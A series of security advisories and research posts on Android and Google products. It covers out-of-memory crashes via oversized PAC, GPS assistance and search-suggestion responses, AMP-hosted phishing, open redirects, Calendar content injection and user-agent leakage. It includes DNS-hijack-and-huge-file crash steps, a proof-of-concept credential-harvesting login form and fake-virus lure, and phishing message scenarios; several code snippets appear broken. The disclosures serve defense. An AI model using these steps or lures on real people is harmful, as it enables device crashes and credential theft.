Advisory: Crashing Android devices with large Proxy Auto Config (PAC) Files [CVE-2016-6723]


Android devices can be crashed forcing a halt and then a soft reboot by downloading a large proxy auto config (PAC) file when adjusting the Android networking settings. This can also be exploited by an MITM attacker that can intercept and replace the PAC file. However, the bug is mitigated by multiple factors and the likelihood of exploitation is low.

This issue has been fixed in the November 2016 Android security bulletin.

Background – Proxy Auto Config (PAC) Files

Proxy Auto Config (PAC) files are text files that can be used as part of the network settings configuration to allow a web browser and other software that accesses the web. These files define which proxy servers should be used for which types of requests. They usually contain a Javascript function which can be called by the web browser to determine the type of proxy server to use. An example PAC file appears here:

function FindProxyForURL(url, host) {
  if (isResolvable(host))
    return "DIRECT";
    return "PROXY";

A related standard called Web Proxy Auto-Discovery Protocol (WPAD) allows devices to find the locations of PAC files via DHCP and/or DNS. However, WPAD is not currently supported on Android.

Vulnerability Details

When configuring a network in Android, one of the options available in the “Advanced” section is ability to indicate a Proxy Auto Config (PAC) URL which will point to a PAC file described above. The current code in Android does not check whether the PAC file may be too large to load into memory, which allows an MITM attacker to replace a known PAC file (if served without SSL) with a large one of their own and crash the Android phone.

Example of settings dialog in Android:


The vulnerability is that the Java code does not check how large the data file actually is. If a file is served that is larger than the memory available on the device, this results in all memory being exhausted and the phone halting and then soft rebooting. The soft reboot was sufficient to recover from the crash and no data was lost. While we have not been able to achieve remote code execution, this code path can potentially be exploited for such attacks and would require more research.

The vulnerable code resides here – (, lines 120-127):

private static String get(Uri pacUri) throws IOException {
  URL url = new URL(pacUri.toString());
  URLConnection urlConnection = url.openConnection(;
  return new String(Streams.readFully(urlConnection.getInputStream()));

Specifically, the affected code is using Streams.readFully to read the entire file into memory without any kind of checks on how big the file actually is.

Because this attack require a user to configure a PAC file, and an attacker to be present and know about that file, and the file needs to be served without SSL to make the attack work, the possibility of an attacker pulling this off is low. This is also true because Android, unlike other operating systems does not support the WPAD protocol to retrieve PAC files automatically which can be exploited using a rouge access point or network.

Steps To Replicate (on Ubuntu 16.04)

1. Install NGINX:

sudo apt-get install nginx

2. Use fallocate to create a large PAC file in “/var/www/html/”

sudo fallocate -s 2.5G test.pac

3. Go in to advanced network settings on the Android device and add the following URL as the PAC URL: http://192.168.1.x/test.pac

Save the settings which will trigger the bug. Once the phone starts downloading the files, the screen will go black and it will reboot.

Mitigation Steps

Users should apply the November 2016 Android bulletin.

Bounty Information

This bug has fulfilled the requirements for Google’s Android Security Rewards and a bounty has been paid.


Android security bulletin: November 2016
CVE-ID: CVE-2016-6723
Google: Android bug # 215709 / AndroidID-30100884
Netscape PAC file format definition: here (via the Internet Archive)
WPAD Internet Draft: here
WPAD not supported on Android: see bug report here


Bug discovered by, and advisory written by Yakov Shafranovich.


2016-07-11: Android bug report filed with Google
2016-07-19: Android bug confirmed as high
2016-08-18: Bug priority downgraded to moderate
2016-09-15: Coordination with Google on public disclosure
2016-11-07: Android security bulletin released with fix
2016-11-07: Public disclosure

Advisory: Crashing Android devices with large Assisted-GPS Data Files [CVE-2016-5348]


Android devices can be crashed remotely forcing a halt and then a soft reboot by a MITM attacker manipulating assisted GPS/GNSS data provided by Qualcomm. This issue affects the open source code in AOSP and proprietary code in a Java XTRA downloader provided by Qualcomm.

The Android issue was fixed by in the October 2016 Android bulletin. Additional patches have been issued by Qualcomm to the proprietary client in September of 2016.

This issue may also affect other platforms that use Qualcomm GPS chipsets and consume these files but that has not been tested by us, and requires further research.

Background – GPS and gpsOneXtra

Most mobile devices today include ability to locate themselves on the Earth’s surface by using the Global Positioning System (GPS), a system originally developed and currently maintained by the US military. Similar systems developed and maintained by other countries exist as well including Russia’s GLONASS, Europe’s Galileo, and China’s Beidou.

The GPS signals include an almanac which lists orbit and status information for each of the satellites in the GPS constellation. This allows the receivers to acquire the satellites quicker since the receiver would not need to search blindly for the location of each satellite. Similar functionality exists for other GNSS systems.

In order to solve the problem of almanac acquisition, Qualcomm developed the gpsOneXtra system in 2007 (also known as IZat XTRA Assistance since 2013). This system provides ability to GPS receivers to download the almanac data over the Internet from Qualcomm-operated servers. The format of these XTRA files is proprietary but seems to contain current satellite location data plus estimated locations for the next 7 days, as well as additional information to improve signal acquisition. Most Qualcomm mobile chipsets and GPS chips include support for this technology. A related Qualcomm technology called IZat adds ability to use WiFi and cellular networks for locations in addition to GPS.

Additional diagram of the system as described in Qualcomm’s informational booklet:


Background – Android and gpsOneXtra Data Files

During our network monitoring of traffic originating from an Android test device, we discovered that the device makes periodic calls to the Qualcomm servers to retrieve gpsOneXtra assistance files. These requests were performed almost every time the device connected to a WiFi network. As discovered by our research and confirmed by the Android source code, the following URLs were used:

WHOIS record show that both domains – and are owned by Qualcomm. Further inspection of those URLs indicate that both domains are being hosted and served from Amazon’s Cloudfront CDN service (with the exception of which is being served directly by Qualcomm).

On the Android platform, our inspection of the Android source code shows that the file is requested by an OS-level Java process (, which passes the data to a C++ JNI class (com_android_server_location_GnssLocationProvider.cpp), which then injects the files into the Qualcomm modem or firmware. We have not inspected other platforms in detail, but suspect that a similar process is used.

Our testing was performed on Android v6.0, patch level of January 2016, on a Motorola Moto G (2nd gen) GSM phone, and confirmed on a Nexus 6P running Android v6.01, with May 2016 security patches.

Qualcomm has additionally performed testing on their proprietary Java XTRA downloader client confirming this vulnerability.

Vulnerability Details

Android platform downloads XTRA data files automatically when connecting to a new network. This originates from a Java class (, which then passes the file to a C++/JNI class (com_android_server_location_GnssLocationProvider.cpp) and then injects it into the Qualcomm modem.


The vulnerability is that both the Java and the C++ code do not check how large the data file actually is. If a file is served that is larger than the memory available on the device, this results in all memory being exhausted and the phone halting and then soft rebooting. The soft reboot was sufficient to recover from the crash and no data was lost. While we have not been able to achieve remote code execution in either the Qualcomm modem or in the Android OS, this code path can potentially be exploited for such attacks and would require more research.

To attack, an MITM attacker located anywhere on the network between the phone being attacked and Qualcomm’s servers can initiate this attack by intercepting the legitimate requests from the phone, and substituting their own, larger files. Because the default Chrome browser on Android reveals the model and build of the phone (as we have written about earlier), it would be possible to derive the maximum memory size from that information and deliver the appropriately sized attack file. Possible attackers can be hostile hotspots, hacked routers, or anywhere along the backbone. This is somewhat mitigated by the fact that the attack file would need to be as large as the memory on the phone.

The vulnerable code resides here – (, lines 120-127):


int statusCode = connection.getResponseCode();

if (statusCode != HttpURLConnection.HTTP_OK) {

if (DEBUG) Log.d(TAG, “HTTP error downloading gps XTRA: “

+ statusCode);

return null;


return Streams.readFully(connection.getInputStream());

Specifically, the affected code is using Streams.readFully to read the entire file into memory without any kind of checks on how big the file actually is.

Additional vulnerable code is also in the C++ layer – (com_android_server_location_GnssLocationProvider.cpp, lines 856-858):

jbyte* bytes = (jbyte *)env->GetPrimitiveArrayCritical(data, 0);

sGpsXtraInterface->inject_xtra_data((char *)bytes, length);

env->ReleasePrimitiveArrayCritical(data, bytes, JNI_ABORT);

Once again, no size checking is done.

We were able to consistently crash several different Android phones via a local WiFi network with the following error message:

java.lang.OutOfMemoryError: Failed to allocate a 478173740 byte allocation with 16777216 free bytes and 252MB until OOM
at java.util.concurrent.ThreadPoolExecutor.runWorker(
at java.util.concurrent.ThreadPoolExecutor$

(It should be noted that we were not able to consistently and reliable achieve a crash in the C++/JNI layer or the Qualcomm modem itself)

Steps To Replicate (on Ubuntu 16.04)

1. Install DNSMASQ:

sudo apt-get install dnsmasq

2. Install NGINX:

sudo apt-get install nginx

3. Modify the /etc/hosts file to add the following entries to map to the IP of the local computer (varies by vendor of the phone):


4. Configure /etc/dnsmasq.conf file to listed on the IP:


5. Restart DNSMASQ:

sudo /etc/init.d/dnsmasq restart

6. Use fallocate to create the bin files in “/var/www/html/”

sudo fallocate -s 2.5G xtra.bin
sudo fallocate -s 2.5G xtra2.bin
sudo fallocate -s 2.5G xtra3.bin

7. Modify the settings on the Android test phone to static, set DNS to point to “192.168.1.x”. AT THIS POINT – Android will resolve DNS against the local computer, and serve the GPS files from it.

To trigger the GPS download, disable WiFi and enable Wifi, or enable/disable Airplane mode. Once the phone starts downloading the files, the screen will go black and it will reboot.

PLEASE NOTE: on some models, the XTRA file is cached and not retrieved on every network connect. For those models, you may need to reboot the phone and/or follow the injection commands as described here. You can also use an app like GPS Status and ToolboxGPS Status and Toolbox.

The fix would be to check for file sizes in both Java and native C++ code.

Mitigation Steps

For the Android platform, users should apply the October 2016 Android security bulletin and any patches provided by Qualcomm. Please note that as per Qualcomm, the patches for this bug only include fixes to the Android Open Source Project (AOSP) and the Qualcomm Java XTRA downloader clients.

Apple and Microsoft have indicated to us via email that GPS-capable devices manufactured by them including iPad, iPhones, etc. and Microsoft Surface and Windows Phone devices are not affected by this bug.

Blackberry devices powered by Android are affected but the Blackberry 10 platform is not affected by this bug.

For other platforms, vendors should follow guidance provided by Qualcomm directly via an OEM bulletin.

Bounty Information

This bug has fulfilled the requirements for Google’s Android Security Rewards and a bounty has been paid.


Android security bulletin: October 2016
CERT/CC tracking: VR-179
CVE-ID: CVE-2016-5348
GNSS sample almanacs: here
Google: Android bug # 213747 / AndroidID-29555864; Android patch here
gpsOneXTRA information booklet: archived version here

CVE Information

As provided by Qualcomm:

CVE: CVE-2016-5348
Access Vector: Network
Security Risk: High
Vulnerability: CWE-400: Uncontrolled Resource Consumption (‘Resource Exhaustion’)
Description: When downloading a very large assistance data file, the client may crash due to out of memory error.
Change summary:

  1. check download size ContentLength before downloading data
  2. catch OOM exception


We would like to thank CERT/CC for helping to coordinate this process, and all of the vendors involved for helpful comments and a quick turnaround. This bug was discovered by Yakov Shafranovich, and the advisory was also written by Yakov Shafranovich.


2016–06-20: Android bug report filed with Google
2016-06-21: Android bug confirmed
2016-06-21: Bug also reported to Qualcomm and CERT.
2016-09-14: Coordination with Qualcomm on public disclosure
2016-09-15: Coordination with Google on public disclosure
2016-10-03: Android security bulletin released with fix
2016-10-04: Public disclosure

Research: Crashing Browsers Remotely via Insecure Search Suggestions


Intercepting insecure search suggestion requests from browsers, and returning very large responses leads to browser crashes (but not RCE). Affected browsers are FireFox on the desktop and Android, and Chrome on desktop and Android – other Chromium and FireFox derived browsers maybe affected. Internet Explorer and Safari are not affected. The issue is exploitable remotely, albeit not easily.

Background – Search Suggestions

Most browsers, desktop and mobile, support a feature which allows users to type either in the address bar or the search box and see a list of “search suggestions”. These are similar to the search suggestions provided by most search engines within their homepages and search bars. Examples of search suggestions in the browser and search engine webpage appear below:

The protocol that underlies this mechanism is OpenSearch Suggestions Extensions, a JSON protocol running over HTTP (as defined here). This protocol allows browsers and other applications to send simple keyword queries to the search engine servers which return JSON responses translated by the browser into results in the search bar. It should be noted that some search engines define their own APIs instead of OpenSearch, which browsers then implement.

Search engines can also publish OpenSearch description documents (as defined here) and embed those in their webpages, which browsers can automatically discover and use. The discovery of new search engines happens automatically in some browsers when the user visits a particular site (Chrome and IE Edge [SSL only]), or triggered manually by the user via an icon in the search bar (FireFox). FireFox and Internet Explorer (prior to Edge) also support plugins and APIs for doing this as well.

An example of an open search description document defining the suggestion protocol from AOL Search (original from here) – note the bolded part that defines the search suggestion protocol:

<?xml version="1.0" encoding="UTF-8"?>
<OpenSearchDescription xmlns=""
    <ShortName>AOL Search</ShortName>
    <Description>The AOL Search engine delivers great search results so
    you can search less and discover more.</Description>
    <Image width="16" height="16" type="image/x-icon"></Image>
    <Url type="text/html" method="get" template="{searchTerms}&amp;s_it=opensearch"/>
    <Url type="application/x-suggestions+json" template=";it=opensearch&amp;q={searchTerms}"/>

Background – Search Engines and HTTPS

Even in the the post-Snowden era, many popular search engines still do not support encryption (HTTPS). Other search engines may support HTTPS but also still support non-HTTPS connections and do not redirect users automatically to HTTPS. Because browser vendors tend to include the most popular search engines in specific countries by default, they end up including multiple search engines which are not using HTTPS. This also applies to the search suggestions endpoints used by browsers.

Some examples (for English locale, US only):

  • Android AOSP stock browser (source)
    • Bing (non-SSL version)
    • Yahoo (non-SSL version)
  • Chrome (desktop and Android) (source)
    • AOL Search (does not support SSL)
    • (does not support SSL)
  • FireFox (desktop only) (source)
    • Ebay (does not support SSL)

Exploit Details

Because browsers include multiple non-HTTPS search engines with insecure search suggestions endpoints, it would be possible for an attacker on the network level to intercept the traffic flowing between the browser and the search engine endpoints, and substitute their own. If a very large response is returned (2+ GBs), the browser can run out of memory and crash. This is due to the fact that browsers do not check for sizes in the search suggestions responses. Obviously, this is more of an issue for mobile devices which have lower memory than desktops.

For Android AOSP browser and Chromium, this issue appear to be directly tied to the processing code of search engine responses. For FireFox, this is a more generic issue around large XMLHTTPRequest responses, which is what the browser is using internally for search suggestions. Our bug reports with the vendors provide more details on which code is causing this. This re-enforces the fact network traffic SHOULD NEVER be trusted.

The following crashes were observed – we have not been able to cause an RCE or a buffer overflow:

  • Android AOSP stock browser on Android (v4.4) – application crashes
  • Chrome v51 on Android (v6.01) – application crashes
  • Chrome v51 on desktop Linux (Ubuntu v16.04) – the entire computer freezes requires a reboot (this maybe to due to swapping being disabled with an SSD drive)
  • FireFox v47 on desktop Linux (Ubuntu v16.04) and Android (v6.01) – application crashes

Safari v9.1 and Internet Explorer 11 and Edge appear not to be are not affected, although a similar bug has happened before with Safari. We did not test prior versions of either Safari or IE. We also did not test any other browsers derived from Chromium or FireFox.

The practical exploitation of this issue is mitigated by several factors:

  • The attacker must have control over DNS and the network traffic of the victim machine. This is most likely in cases of a rogue WiFi hotspot or a hacked router.
  • Most browsers have a rather short timeout for search engine suggestions response, not allowing sufficient time for the large response packet to be transferred over network
  • Due to the very large response size needed to trigger this issue, it is only exploitable over broadband or local networks such as rogue WiFi hotspot

Vendor Responses

Google response re: Android AOSP browser:

The team reviewed this issue and don’t believe there is a security vulnerability here. It seems the worse things that can happen is the browser crashes due to resource exhaustion. The phone is still usable so there isn’t a denial of service.

Google response re: Chromium:

We don’t consider DoS to be a security vulnerability. See the Chrome Security FAQ:

Mozilla / FireFox response has been to remove the security restriction on this bug, therefore indicating that this is not a security issue.

Steps to Replicate

(This is for Chrome but is similar for other browsers)

1. Install DNSMASQ and NGINX:
sudo apt-get install dnsmasq nginx
2. Modify the /etc/hosts file to add the following entries to map to the IP of the local computer (varies by vendor of the phone):
3. Configure /etc/dnsmasq.conf file to listen on the IP:
4. Restart DNSMASQ:
sudo /etc/init.d/dnsmasq restart
5. Use fallocate to create a file in “/var/www/html/”
sudo fallocate -l 5G query
6. Modify DNS settings on the test machine or the same machine to point to “192.168.1.x”. If same machine, modify resolve.conf as follows:
nameserver 192.168.1.x
7. Start Chrome, go to settings and choose “” as the default search provider.
8. Open new tab and try to type something in the omnibox.


Android bug reports: 214784 and 214785
Chromium bug reports: 624779 and 624794 (patch accepted)
FireFox bug reports: 1283675 and 1283672
OpenSearch description document: doc here
OpenSearch Suggestions extension v1.1: doc here
Safari Search Suggestions bug: see ArsTechnica story here


Researched and written by Yakov Shafranovich.


2016-06-30: Bug filed with Android
2016-06-30: Bug filed with Chromium
2016-06-30: Bug filed Mozilla/FireFox
2016-06-30: Response from Chromium, Won’t Fix
2016-07-12: Response from Android, not a security issue
2016-07-13: Android team is ok with disclosure
2016-07-14: Mozilla removes security restrictions on the bug
2016-07-26: Public disclosure

Advisory: Using to Host Malicious Mobile Content


It is possible to use a flaw in to host malicious content. However, such content is not able to interact with anything on domain itself.


Google’s main website provides a subsite for displaying mobile-optimized pages published using a special subset of HTML called AMP. The current implementation can display any AMP page on the Internet without checking content. The URL is as follows:

where XXXX is the URL of the site. This ONLY works on mobile devices and can be simulated using Chrome’s developer tools, but on desktop browsers, it will redirect to the page itself (as described in our earlier post). Here is a real working example:

Example of AMP site running on directly

This, however, can be used to display malicious content. Due to the way AMP is designed, AMP pages are not allowed to have Javascript, or “javascript:” URLs. They can, however, have URLs that lead to the Google Play store or iTunes. This can be leveraged to fool users into installing apps they don’t need — all on Here is an example screenshot — note the URL and that a valid certificate is used. The link goes to the Google play store.

Source code - BODY tag only, rest is standard AMP HTML (see here):
<body><amp-img src=”glogo.jpg” alt=”logo” height=”200px” width=”300px”></amp-img> <h3>We have scanned your phone and found it to be infected with a virus. To clean your off, please click on the link below</h3> <p><a href=”">Clean My Phone</a></p></body>

Taking this a step further, while AMP does not allow forms and Javascript in the main page, it does allow Javascript and forms in an iframe, as long as that iframe is at least 75% down from the top of the page. This can be used to do the following — embedding a malicious login form inside an iframe which then can be used to steal people’s Google account credentials. Example screenshot and source below — this is not styled since it is a POC.


Main page BODY:

<amp-img src=”glogo.jpg” alt=”logo” height=”300px” width=”300px”></amp-img>
<amp-img src=”glogo.jpg” alt=”logo” height=”300px” width=”300px”></amp-img>
<h3>You have logged out of your account, please login again below</h3>
<amp-iframe width=”300px” height=”300px”
    sandbox=”allow-scripts allow-forms” layout=”responsive”
    frameborder=”0" src=”iframe.html">

Iframe Source:

<!doctype html>
 <meta charset=”utf-8">
 <form action=””>
 Email: <input type=”text” name=”email”/><br/>
 Password: <input type=”password” name=”password”/><br/>
 <input type=”submit”/>

Vendor Response

The vendor has communicated that they do not consider this to be a security issue



Researched and written by Yakov Shafranovich.


2016–04–12: Vendor notified
2016–04–13: Vendor response
2016–04–13: Public disclosure

Advisory: Open redirect on


An open redirect is operating at


Google’s main website provides a subsite for displaying mobile-optimized pages published using a special subset of HTML called AMP. While this works for mobile devices, for non-mobile devices, this redirects to the original site, thus resulting in an open redirect. The subsite operates at the following URL:

where XXXX is the URL of the site. Here is an example of a legit URL — in mobile browsers this would display the actual article (this can simulated using Chrome’s developer tools):

HOWEVER, on non-mobile devices this would redirect to:

Because the vendor accepts any site without whitelist, this can be used as an open redirect. Additionally, since this is hosted on the same main domain as the search engine, it can in theory be used to drive XSS or other similar attacks, although this is mitigated by the fact that AMP currently does not allow Javascript.

Vendor Response

The vendor communicated that they do not consider open redirects to be a security issue



Discovered and written by Yakov Shafranovich.


2016–04–07: Vendor notified
2016–04–07: Vendor response
2016–04–11: Public disclosure

Research: Hacking the Chromebook (Part 1)

By now many in the bounty arena have heard of Google’s new Chromebook bounty totalling $100,000. While not as big as the infamous Zerodium one million bounty for iOS9, this one comes with a crucial difference – it is being offered by the manufacturer of the device in question instead of a security company with possibly shady customers.

In this series of posts, we will explore our attempts to break into the Chromebook, beginning with some basic exploration of the Chromebook while in guest mode.

What is the Bounty For?

According to Google, the bounty is being offered for the following:

participants that can compromise a Chromebook or Chromebox with device persistence in guest mode (i.e. guest to guest persistence with interim reboot, delivered via a web page)

This would preclude any kind of physical access methods, or exploits delivered while logged in using a non-guest account. This also would preclude exploits delivered while in developer mode which provides shell access.


Chromebooks run Chrome OS, which is essentially a stripped down version of Linux with Chrome browser as its main interface. Most apps are either Chrome apps, or Chrome extensions, and can be installed from the app store. There is a main Linux user named “chronos” that runs most of the underlying system, with some specialized users for certain services, and individual user accounts are located in the “/home/chronos/u-XXXXX/” folder including the guest user. A fuller description of the security system can be found in this paper from MIT .

While in guest mode, only default apps/extensions are available, and new ones cannot be installed. Another important point is that guest mode uses tmpfs file system for storage, which is RAM based and does not persist.

Poking Around Chrome

At this initial stage, we have explored the Chromebook to see what possible avenues of attack may be possible. We started with looking at the Chrome browser itself. Here are some interesting things we found:

  • Chrome is running in incognito mode
  • Only the default plug-ins are loaded (chrome://plugins/) including: Chrome’s PDF Reader, Native Client, Widevine decryption, and Adobe Flash. This is basically the same as Chrome out of the box on other platforms. Screenshot below:
  • No extensions are listed (chrome://extensions/), HOWEVER, that isn’t really true. If you try to open certain files, it is clear from the URLs that there are hidden extensions installed. We did not look into listing them, but they should be easy to find on the Chromium source. Screenshot below:
  • Extensions cannot be installed via the Chrome store, OR manually by downloading and dragging them in. For the Chrome store, the install button is simply not there. For manual installs, message “Installation is not enabled” comes up.
  • Access and changes to flags is allowed (chrome://flags), but does not persist across reboots. Flags can be changed and take effect by restarting Chrome for the current session.
  • History, bookmarks, caches, etc. do not persist across reboots.

Download and Opening Files

You can download all files and open some of them:

  • Safe browsing is enabled and checks downloads against a blacklist.
  • Downloaded Office files (doc, xls, etc) open via an extension inside the browser that looks like a scaled down version of Google Docs
  • Downloaded Image files open in the browser but also can be opened with Gallery
  • Downloaded text and HTML files open in the browser
  • Downloaded sound and video files open via a dedicated sound and video player apps that pop up above the taskbar
  • Needless to say that possibly malicious files like shell scripts, JS files, etc. do not open although we haven’t explored any possible holes there yet
  • There is no editor of any kind in Guest mode, full users can install apps to edit
  • File URLs are used for local files and it is possibly to introspect SOME directories (/tmp and /media)

Poking around the Desktop

Chromebooks also have a desktop of sorts which is really Chrome underneath. There isn’t much available other than Chrome itself, the Files application and Help.

  • The Files application gives access to the Downloads folder and any USB drives that get plugged in. It can rename, move and delete files and folders but not much more than that. Because it is restricted to the Downloads folder only, it is not possible to see the rest of the files system. It is also clear via the Files application that RAM is being used, since the space available is less than 1 GB versus much more for regular users (no quotas are enabled).
  • As mentioned earlier, Gallery, video and sound players are available by clicking on the right files.
  • There is screenshot functionality available via a hot key
  • Lower right corner provides access to settings such as Bluetooth, WiFi, etc.
  • There is a very basic and restricted shell (crosh) available by pressing CTRL-ALT-T but it is another Chrome extension with very few commands (in developer mode, it provides access to bash). Below is an example of top running in the shell (interestingly enough the W command in top can write files):

Possible Avenues of Attack

First of all, as stated above, the guest user’s home directory is using tmpfs, which does not persist. This would mean that we would need actually execute some code that would persist in the system OUTSIDE that directory and come back upon reboot. Here are some possible entry points:

  • Default Chrome plugins – via malicious PDFs, Flash files, video/audio with DRM or native client apps
  • Default extensions – these can be targeted via malicious files for the Office extension. Another possibility is to use Chrome’s built-in developer tools but that would probably be out of scope.
  • Chrome browser itself
  • Javascript APIs
  • Video/Sound can target the built-in audio or video player
  • Malicious images can target Gallery
  • The various settings available to the user can be exploited across multiple users
  • Possibly via other processes running in the system and their users

Second, even if we manage to break in and execute code, it would still only execute in the context of the chronos user. We would then need to figure out how to elevate privileges to reach root access.

Third, we would need to figure out how to get past verified boot. Google outlines some potential ways this may happen ONCE attacker has gained super-user privileges.


In this post, we have briefly explored some of the pieces of the Chromebook software with the eye towards exploitation. In followup posts, we hope to continue digging in further.

Advisory: Open Redirect on


A marketing server at operated an open redirect.


Google’s main AdWords landing page takes a cd parameter indicating a specific country to target, which redirects to a country-specific page. Examples of such URL are as follows:



The cd parameter which specifies the country was not checked against a valid list of values. Instead, this parameter is used to replace the “com” value in the URL with the value from the cd parameter. For example:


This can be used to redirect users to a malicious page. Example URL with malicious content:

Redirects to:

The vendor communicated that they consider this a low level attack, and do not plan to track a fix for this issue. However, we have since confirmed that this issue has been fixed prior to publication.


Google Security CID: 9–6197000008153
Google’s view on open directs:


Discovered and written by Yakov Shafranovich


2015–08–07: Vendor notified
2015–08–07: Initial vendor response
2015–08–11: Vendor replicated the issue
2015–09–05: Follow up communications with vendor
2015–09–20: Fix confirmed
2015–10–12: Public disclosure

2016–03–14: Updated disclosure posted

Advisory: Content Injection in Google Calendar API (Google)


Google Calendar embedding API allows injection of arbitrary content.


Google Calendar offers an embedding API, allowing calendars to be embedded in web pages. This API is accessible at the following URL:<url>


In case of an invalid URL, it mirrors back the text of the URL. For example, the following URL:<url>

would show the following message:

Invalid calendar id: <url>

While we have not been able to show script execution, we believe that this can still be used as a vector of attack, especially since this injects content into a page that is SSL secured with a Google certificate. Interestingly, a similar content injection attack was considered to be severe enough by Microsoft to be fixed (as per our earlier blog post).

We would like to present the following attack scenarios:

Scenario #1 — Phishing attack

An attacker can use this to send email to Google Calendar users with the following URL:

Resulting in the following message:

Invalid calendar id: -We are having a problem with your account. Please call 1–800-BAD-GUYS x123 and give them your password

A sophisticated attack can issue a unique extension for each spammed address, bypassing the requirement for users to provide their email address over the phone. It would also be possible to automate such attack with voice API providers like Twilio, further making users feel at ease, since most phone phishing attempts use humans.

Scenario #2 — Stock manipulation attack

An attacker can use the following URL to show a fake Google Calendar in attempt to manipulate the stock market:

This would result in the following message:

Invalid calendar id: -BEGIN:VEVENT SUMMARY: UID:12345 DESCRIPTION;Sergey Brin/Elon Musk to announce $GOOG acquisition of $TSLA LOCATION:Mountainview, CA DTSTART;TZID=/US/Eastern:20151109T100000 DTEND;TZID=/US/Eastern:20151109T113000 URL: END:VEVENT

Seemingly this would indicate a fake calendar event announcing the acquisition of Tesla Motors by Google. HOWEVER, given that the embed API can be used to embed any calendar, it would be trivial to create a real Google calendar with fake info and embed it.


(Please note the SSL icon)


Vendor Response

Vendor response is as follows:

There is no XSS demonstrated here, just content injection, which has legitimate use and is not a technical security bug for the purposes of our reporting program (phishing generally isn’t a “technical” enough attack scenario). All inputs appear to be properly sanitized, so if you want to demonstrate an actual XSS, you’d need to show proof of script execution


Google Security CID: 6–1050000008145
Google Calendar Embed docs:


2015–08–07: Vendor notified
2015–08–07: Vendor response
2015–10–26: Public disclosure

Version Information

Version 1
Last updated on 2015–09–21

Research: Chrome For Android Reveals Phone Model and Build

[UPDATED: 2018-12-25 – we published an expanded post with fix information]


Google’s Chrome browser for Android tends to disclose information that can be used to identify the hardware of the device it is running on. This problem is further exacerbated by the fact that many applications on Android use Chrome WebView or Chrome Custom Tabs to render web content.

Background — Chrome and Headers

The Chrome browser for Android is provided by Google as the build-in browser in the Android operating system for mobile devices. It is based on the Chromium open source project. It also provides the WebView and Custom Tabs APIs for other applications running on the Android platform, to be used for rendering web content within the apps themselves without opening a separate browser window.

As all browsers, Chrome sends a variety of headers as part of every request to the web servers it communicates with. These headers are defined in the HTTP protocol, latest standard of which can be found in RFCs 7230, 7231, 7232, 7233, 7234 and 7235. Among these is the User-Agent header which is the subject of this post.

The “User-Agent” header in HTTP is defined by RFC 7231, section 5.5.3 as follows:

The “User-Agent” header field contains information about the user agent originating the request, which is often used by servers to help identify the scope of reported interoperability problems, to work around or tailor responses to avoid particular user agent limitations, and for analytics regarding browser or operating system use.

Background — Android Model and Build ID

Android devices have a build-in MODEL and BUILD ID, identifying the phone model and Android build. They are defined in in android.os.Build.MODEL and android.os.Build.ID properties. These are further defined in the Android Compatibility Definition document (section 3.2.2) as follows:

MODEL — A value chosen by the device implementer containing the name of the device as known to the end user. This SHOULD be the same name under which the device is marketed and sold to end users. There are no requirements on the specific form

ID — An identifier chosen by the device implementer to refer to a specific release, in human-readable format. This field can be the same as android.os.Build.VERSION.INCREMENTAL, but SHOULD be a value sufficiently meaningful for end users to distinguish between software builds. The value of this field MUST be encodable as 7-bit ASCII and match the regular expression “^[a-zA-Z0–9._-]+$”.

An attempt to map models to more descriptive names can be found on GitHub. A list of known build IDs for Nexus devices can be found here and here.


As per Chrome docs, the Chrome for Android User Agent string includes the Android version number and build tag information. This information by default is also sent when applications use Android’s WebView and Chrome Custom Tabs APIs to serve web content in their own applications. While Android does offer ability to override these (via WebSettings.setUserAgent() in WebView), most applications choose not to do that to assure compatibility by relying on the default header.

Aggravating this issue is that the user agent header is sent always, with both HTTP and HTTPS requests, often by processes running in background. Also, unlike the desktop Chrome, on Android no extensions or overrides are possible to change the header other than the “Request Desktop Site” option on the browser itself for the current session.

For example of a user-agent header for Chrome Beta, on Nexus 6, with Android v5.1.1:

Mozilla/5.0 (Linux; Android 5.1.1; Nexus 6 Build/LYZ28K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.34 Mobile Safari/537.36

When a user chooses the “Request Desktop Site” option, the user agent header sent is a generic Linux header instead. Here is an example for Chrome Beta, on Nexus 6, with Android v5.1.1:

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.34 Safari/537.36

The difference is that on mobile mode, the following string is extra:

Android 5.1.1; Nexus 6 Build/LYZ28K

The fact that it identifies the operating system and its version is not unique. This follows generally what many other browsers have been doing on desktop and mobile. It is the build tag that is the problem. As described above, the build tag identifies both the device name and its firmware build. For many devices, this can be used to identify not only the device itself, but also the carrier on which it is running and from that the country.

An example can be easily seen from the above where build LYZ28K can be easily identified as Nexus 6 running on T-Mobile, implying a US presence. It would also be trivial to use the build information to figure out the carrier based on which carriers are known to be at what build number. Build numbers are easily obtainable from manufacturer and phone carrier websites

Bug # 494452 has been filed for this against Chromium before, but Google has choose to keep the design of the user agent string intact.

Possible Mitigation by Android Applications Using WebView

As discussed above, application authors can use WebSettings.setUserAgent() method to set the override the user agent. While many are reluctant to do so in order to lose compatibility, we would like to suggest the following approach of using the default user agent and erasing the build information in it.


Even the NSA described that user agents only identify browsers. Unfortunately, on Android they can also identify the device model, carrier and more. In our opinion, this is simply too much information as it reveals the underlying firmware. While user fingerprinting exists, it is less trivial to tie a specific piece of software to a specific piece of hardware with the granularity of carrier, build and country. An analogy to this would be a desktop browser sending the vendor name and the build number of the BIOS in a desktop computer. Additionally, this information can be used to target users with malware attacks targeting specific builds known to be vulnerable.

We suggest following the approach taken by Mozilla:

Adding a device identifier to the Firefox OS User Agent (UA) string is STRONGLY DISCOURAGED by Mozilla.


Mozilla strives to provide greater privacy for users. Therefore, we have been working to reduce the level of “fingerprintability” of different browser configurations — that is to say, how uniquely identifiable a particular user’s browser is to sites through detection methods of which the user is unaware. (i.e. server-side methods) Adding e.g. hardware information to the UA reduces privacy by increasing fingerprintability.


Researched and written by Yakov Shafranovich.